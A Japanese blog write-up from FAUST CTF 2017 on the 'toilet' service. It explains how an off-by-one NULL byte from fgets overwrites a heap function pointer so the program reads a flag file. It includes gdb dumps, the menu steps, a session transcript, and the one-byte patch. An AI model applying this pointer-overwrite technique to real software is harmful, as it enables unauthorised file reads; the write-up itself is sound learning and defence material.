ブログ未満のなにか

ブログなのか誰にも分からない

FAUST CTF 2017 writeup

はじめに

TokyoWesternsで参加して14161.47ptの8位だった。得点の内訳は、Attackが2412.00pt、Defenceが-651.05pt、SLAが12166.52ptだった。 自分は、8つあるサービスの1つであるtoiletのpatchとexploitをやった。toiletでflagを取られることはなかったのでpatchが完璧だったみたい。 exploitとpatchのwriteupを載せる。

toilet

Loginでの入力はfgets(stdin, name, 0x41)を使っており、0x40byteとNULLの1byteを書き込むことができる。書き込まれる先はheap上になっており、nameの直下にはFlushで使用する関数ポインタが格納されている。 しかし、name分の大きさは0x40byte分しかないので、fgetsのNULL終端で関数ポインタの下位1byteをNULLに上書きすることができる。

この状態で、関数ポインタ経由で関数を呼ぶと下記のような場所を呼ぶことができる。0x40249dでは、第一引数(rdi)にある文字列を'data/%s'に展開してopen()->read()する。バイナリをよく読んでないので詳細は分からないが、read()された文字列のポインタがnameとして設定されるので、Show current settingsでファイルの中身を読むことができる。data/配下にflagが書き込まれるので、あとはやるだけ。

gdb-peda$ x/20gx 0x606410
0x606410:       0x0000000000000000      0x0000000000000071
0x606420:       0x6161616161616161      0x6161616161616161
0x606430:       0x6161616161616161      0x6161616161616161
0x606440:       0x6161616161616161      0x6161616161616161
0x606450:       0x6161616161616161      0x6161616161616161
0x606460:       0x0000000000403000      0x0000000000000014
0x606470:       0x0000000000000000      0x0000000059288a7a
0x606480:       0x0000000065614388
gdb-peda$ x/7i 0x403000
   0x403000:    test   rdi,rdi
   0x403003:    je     0x403010
   0x403005:    sub    rsp,0x8
   0x403009:    call   0x40249d
   0x40300e:    jmp    0x403016
   0x403010:    mov    eax,0x0
   0x403015:    ret

exploit

下記の手順でflagを読むことができる。

1. Login 
適当に0x40byte入れる。関数ポインタの下位1byteがNULL(0x00)になる。

8. Show Log 
Nameからflagのfilenameを得る。これはそういう仕様。

5. Drop a load
最初の入力は適当に数byte入力する。ここは何でもいい。
次の入力で取得したflagのfilenameを入力する。

7. Flush 
open(flag) -> read()が走る。

4. Show current settings
nameの箇所にflagがでてくる。

実際にやると、こんな感じ。flagはFAUST_WShgeNoH74XqhAAAAAByXae4mq/HQOoiで、あとは適当に自動化するだけ。自動化は自動化のプロにやってもらった。

$$$$$$$$\  $$$$$$\  $$$$$$\ $$\       $$$$$$$$\ $$$$$$$$\ 
\__$$  __|$$  __$$\ \_$$  _|$$ |      $$  _____|\__$$  __| 
   $$ |   $$ /  $$ |  $$ |  $$ |      $$ |         $$ |    
   $$ |   $$ |  $$ |  $$ |  $$ |      $$$$$\       $$ |    
   $$ |   $$ |  $$ |  $$ |  $$ |      $$  __|      $$ |    
   $$ |   $$ |  $$ |  $$ |  $$ |      $$ |         $$ |    
   $$ |    $$$$$$  |$$$$$$\ $$$$$$$$\ $$$$$$$$\    $$ |    
   \__|    \______/ \______|\________|\________|   \__|    
                                                           
                                                           
                                                           
Welcome to the our new smart toilet!
It's the best experience you'll get since your change from diaper to potty!
Try our note feature to keep track of your bowel movement!
Even better, in our next update we'll add a twitter sharing option!

1. Login 
2. Change the seat temperature 
3. Change the flush function 
4. Show current settings 
5. Drop a load 
6. Show latest notes 
7. Flush 
8. Show Log 
9. Logout 
10. Exit 

Your choice: 1

Please give me your name: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
1. Login 
2. Change the seat temperature 
3. Change the flush function 
4. Show current settings 
5. Drop a load 
6. Show latest notes 
7. Flush 
8. Show Log 
9. Logout 
10. Exit 

Your choice: 
1. Login 
2. Change the seat temperature 
3. Change the flush function 
4. Show current settings 
5. Drop a load 
6. Show latest notes 
7. Flush 
8. Show Log 
9. Logout 
10. Exit 

Your choice: 8

This is highly sensitive information and we respect your privacy!
Therefore, we anonymize the names in this log.
But be aware that we are forced by law to hand out any data in case of a government agencies request.

#################################################################################################
#=========================================  Log  ===============================================#
#===============================================================================================#
#====                         Name (anonymized)                        ==== | ====   Date   ====#
#========================================================================== | ==================#
#==== 72508d056b428937372e831bad23753c3ad3e1cd66cb22d1e5b347850ddce5a8 ==== | ==== 01:54:03 ====#
#################################################################################################
1. Login 
2. Change the seat temperature 
3. Change the flush function 
4. Show current settings 
5. Drop a load 
6. Show latest notes 
7. Flush 
8. Show Log 
9. Logout 
10. Exit 

Your choice: 5

Alright here we go!
Don't hold back, give me everything you got!
You've landed the jumbo! Nice work!
Your load weights 00000339g 

Please describe the consistency: aaa
Please leave a note about your gorgeous work:
72508d056b428937372e831bad23753c3ad3e1cd66cb22d1e5b347850ddce5a8
1. Login 
2. Change the seat temperature 
3. Change the flush function 
4. Show current settings 
5. Drop a load 
6. Show latest notes 
7. Flush 
8. Show Log 
9. Logout 
10. Exit 


Your choice: 7

Going to flush now
Aaaand it's gone!
1. Login 
2. Change the seat temperature 
3. Change the flush function 
4. Show current settings 
5. Drop a load 
6. Show latest notes 
7. Flush 
8. Show Log 
9. Logout 
10. Exit 

Your choice: 4

ID: 954972103
Name: FAUST_WShgeNoH74XqhAAAAAByXae4mq/HQOoi
Seat temperature: 20
Max. weight: 398
Last visit: 05:18:57
1. Login 
2. Change the seat temperature 
3. Change the flush function 
4. Show current settings 
5. Drop a load 
6. Show latest notes 
7. Flush 
8. Show Log 
9. Logout 
10. Exit 

Your choice: 

patch

fgets(stdin, name, 0x41)で1byte溢れるのが問題なので、fgets(stdin, name, 0x40)に修正した。この修正は問題なくSLAは通っていた。 適当にバイナリをvim -bで開き該当の箇所を直接書き換えてpatchを当てた。

おわりに

First Solve取れそうだったけど、間に合わなかった。次はFirst Solveとりたい。 あと最近、オンラインA&Dが多い気がする。